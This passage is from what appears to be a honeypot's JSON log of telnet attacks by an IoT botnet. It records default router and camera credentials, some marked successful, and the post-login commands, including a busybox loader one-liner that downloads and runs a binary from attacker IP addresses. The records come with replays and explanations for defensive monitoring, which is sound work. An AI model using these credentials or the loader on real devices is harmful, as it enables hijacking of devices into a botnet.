:"ruijie","p":"ruijie","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"supervisor","p":"zyad1234","ok":false}],"attempt_n":[2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":5974,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":125,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x52\\x55\\x55\\x47\\x45\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x52\\x55\\x55\\x47\\x45\\x42'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1],"commands_total":1236,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('RUUGEB') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Probed for busybox, which is the shell it expects to find on an embedded device."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","busybox"],"replay":null,"key":"b431c409d5bc","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"09e78166ffae","t":"2026-10-22T03:02:52Z","first_t":"2026-10-21T03:03:22Z","repeats":23477,"merged":true,"ip":"175.107.205.20","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"localadmin","p":"localadmin","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"samsung","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"1234","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"default","p":"default","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"super","p":"sp-admin","ok":false}],"attempt_n":[2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":23479,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":654,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x46\\x54\\x44\\x57\\x4f\\x45'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x46\\x54\\x44\\x57\\x4f\\x45'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.44.147.214:56922/i ||curl -O http://27.44.147.214:56922/i ||/bin/busybox wget http://27.44.147.214:56922/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x58\\x58\\x56\\x53\\x43\\x53\\x4a\\x42'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":6297,"distinct_commands":14,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('FTDWOE', 'XXVSCSJB') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 27.44.147[.]214 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":38.37,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[9.776,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n"],[9.819,"-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo "],[9.859,"-e '\\x46\\x54\\x44\\x57\\x4f\\x45'\n"],[10.452,"FTDWOE\nroot@svr04:/var# "],[15.559,"/bin/busybox wget;/bin/busybox echo -ne '\\x46\\x54\\x44\\x57\\x4f\\x45'\n"],[15.602,"wget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nFTDWOEroot@svr04:/var# "],[18.275,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.44.147.214:56922/i ||curl -O http://27.44.147.214:56922/i ||/bin/busybox wget http://27.44.147.214:56922/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x58\\x58\\x56\\x53\\x43\\x53\\x4a\\x42'\n"],[18.483,"--2026-10-22 03:01:45--  http://27.44.147.214:56922/i\nConnecting to 27.44.147.214:56922... connected.\nHTTP request sent, awaiting response... "],[22.737,"\n"],[23.533,"\n--2026-10-22 03:01:50--  http://27.44.147.214:56922/i\nConnecting to 27.44.147.214:56922... connected.\nHTTP request sent, awaiting response... "],[29.637,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nXXVSCSJB\nroot@svr04:/var# "]],"truncated":false},"key":"d475303f0e99","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"d5a6cb5814ae","t":"2026-10-22T03:02:51Z","first_t":"2026-10-21T03:03:33Z","repeats":14173,"merged":true,"ip":"124.29.247.225","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"root","ok":true},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"password","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"ftp","p":"ftp","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"zte","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"support","p":"1234","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"test1","p":"test1","ok":false},{"u":"ubnt","p":"ubnt","ok":false},{"u":"user","p":"1234","ok":false},{"u":"yhtcAdmin","p":"Cuc@YHfw","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":14175,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":370,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4a\\x4c\\x53\\x44\\x41\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4a\\x4c\\x53\\x44\\x41\\x56'","config terminal","enable","linuxshell","sh","shell","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://91.240.165.44:48222/i ||curl -O http://91.240.165.44:48222/i ||/bin/busybox wget http://91.240.165.44:48222/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4e\\x44\\x56\\x46\\x50\\x51\\x51\\x58'"],"command_n":[4,4,4,4,4,4,4,4,4,4,3],"commands_total":3619,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('JLSDAV', 'NDVFPQQX') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 91.240.165[.]44 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":13.62,"frames":[[0.002,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[1.101,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n-bash: config: command not found\nadmin@svr04:~$ system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nadmin@svr04:~$ su\n"],[1.145,"Password: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4a\\x4c\\x53\\x44\\x41\\x56'\n"],[2.168,"JLSDAV\nroot@svr04:/var# "],[3.445,"/bin/busybox wget;/bin/busybox echo -ne '\\x4a\\x4c\\x53\\x44\\x41\\x56'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nJLSDAVroot@svr04:/var# "],[5.629,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://91.240.165.44:48222/i ||curl -O http://91.240.165.44:48222/i ||/bin/busybox wget http://91.240.165.44:48222/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4e\\x44\\x56\\x46\\x50\\x51\\x51\\x58'\n"],[5.814,"--2026-10-17 14:10:19--  http://91.240.165.44:48222/i\nConnecting to 91.240.165.44:48222... connected.\nHTTP request sent, awaiting response... "],[8.119,"\n"],[11.925,"\n--2026-10-17 14:10:26--  http://91.240.165.44:48222/i\nConnecting to 91.240.165.44:48222... connected.\nHTTP request sent, awaiting response... "],[13.327,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nNDVFPQQX\nroot@svr04:/var# "]],"truncated":false},"key":"28c4c0c34783","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"35b3eed6e544","t":"2026-10-22T03:02:45Z","first_t":"2026-10-21T17:59:49Z","repeats":43012,"merged":true,"ip":"175.107.233.162","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"1234","p":"1234","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"user","ok":false},{"u":"support","p":"support123","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"telnet","p":"telnet","ok":false},{"u":"ubnt","p":"ubnt","ok":false}],"attempt_n":[2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":43012,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":2001,"commands":[],"command_n":[],"commands_total":17154,"distinct_commands":11,"narrative":[],"tags":[],"replay":null,"key":"f1762f77c758","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"ef5db7d5d166","t":"2026-10-22T03:02:45Z","first_t":"2026-10-21T03:04:13Z","repeats":9512,"merged":true,"ip":"116.138.108.62","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"vizxv","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"support","p":"1234","ok":false},{"u":"support","p":"support","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false}],"attempt_n":[2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":9512,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":253,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4e\\x45\\x47\\x46\\x49\\x59'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4e\\x45\\x47\\x46\\x49\\x59'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://58.37.101.152:39822/i ||curl -O http://58.37.101.152:39822/i ||/bin/busybox wget http://58.37.101.152:39822/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4c\\x5a\\x46\\x49\\x55\\x52\\x59\\x45'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":2474,"distinct_commands":13,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('NEGFIY', 'LZFIURYE') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 58.37.101[.]152 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":7.54,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[0.705,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n"],[0.748,"-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4e\\x45\\x47\\x46\\x49\\x59'\n"],[1.468,"NEGFIY\nroot@svr04:/var# "],[2.525,"/bin/busybox wget;/bin/busybox echo -ne '\\x4e\\x45\\x47\\x46\\x49\\x59'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nNEGFIYroot@svr04:/var# "],[4.217,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://58.37.101.152:39822/i ||curl -O http://58.37.101.152:39822/i ||/bin/busybox wget http://58.37.101.152:39822/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4c\\x5a\\x46\\x49\\x55\\x52\\x59\\x45'\n"],[4.4,"--2026-10-21 16:11:13--  http://58.37.101.152:39822/i\nConnecting to 58.37.101.152:39822... connected.\nHTTP request sent, awaiting response... "],[4.737,"\n"],[5.207,"\n--2026-10-21 16:11:13--  http://58.37.101.152:39822/i\nConnecting to 58.37.101.152:39822... connected.\nHTTP request sent, awaiting response... "],[5.568,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nLZFIURYE\nroot@svr04:/var# "]],"truncated":false},"key":"269553d322ca","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"4cd55226f876","t":"2026-10-22T03:02:45Z","first_t":"2026-10-21T03:05:20Z","repeats":12433,"merged":true,"ip":"117.245.138.57","cc":"IN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"telnet","p":"telnet","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"support","p":"support","ok":false}],"attempt_n":[3,3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":12433,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":365,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x49\\x59\\x4f\\x50\\x4d\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x49\\x59\\x4f\\x50\\x4d\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://192.168.1.1:8088/i ||curl -O http://192.168.1.1:8088/i ||/bin/busybox wget http://192.168.1.1:8088/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4c\\x4f\\x49\\x4c\\x4d\\x41\\x56\\x59'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":3385,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('IYOPMV', 'LOILMAVY') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 192.168.1[.]1 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":24.62,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[7.629,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mn"],[7.669,"t/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x49\\x59\\x4f\\x50\\x4d\\x56'\n"],[8.033,"IYOPMV\nroot@svr04:/var# "],[10.998,"/bin/busybox wget;/bin/busybox echo -ne '\\x49\\x59\\x4f\\x50\\x4d\\x56'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nIYOPMVroot@svr04:/var# "],[16.882,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://192.168.1.1:8088/i ||curl -O http://192.168.1.1:8088/i ||/bin/busybox wget http://192.168.1.1:8088/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;c"],[16.922,"p ii i;rm ii);./i;/bin/busybox echo -e '\\x4c\\x4f\\x49\\x4c\\x4d\\x41\\x56\\x59'\n"],[17.225,"--2026-10-16 01:31:46--  http://192.168.1.1:8088/i\nResolving 192.168.1.1 (192.168.1.1)... failed: Temporary failure in name resolution.\nwget: unable to resolve host address ‘192.168.1.1’\ncurl: (6) Could not resolve host: 192.168.1.1\n--2026-10-16 01:31:46--  http://192.168.1.1:8088/i\nResolving 192.168.1.1 (192.168.1.1)... failed: Temporary failure in name resolution.\nwget: unable to resolve host address ‘192.168.1.1’\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nLOILMAVY\nroot@svr04:/var# "]],"truncated":false},"key":"e88bc4883af3","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera 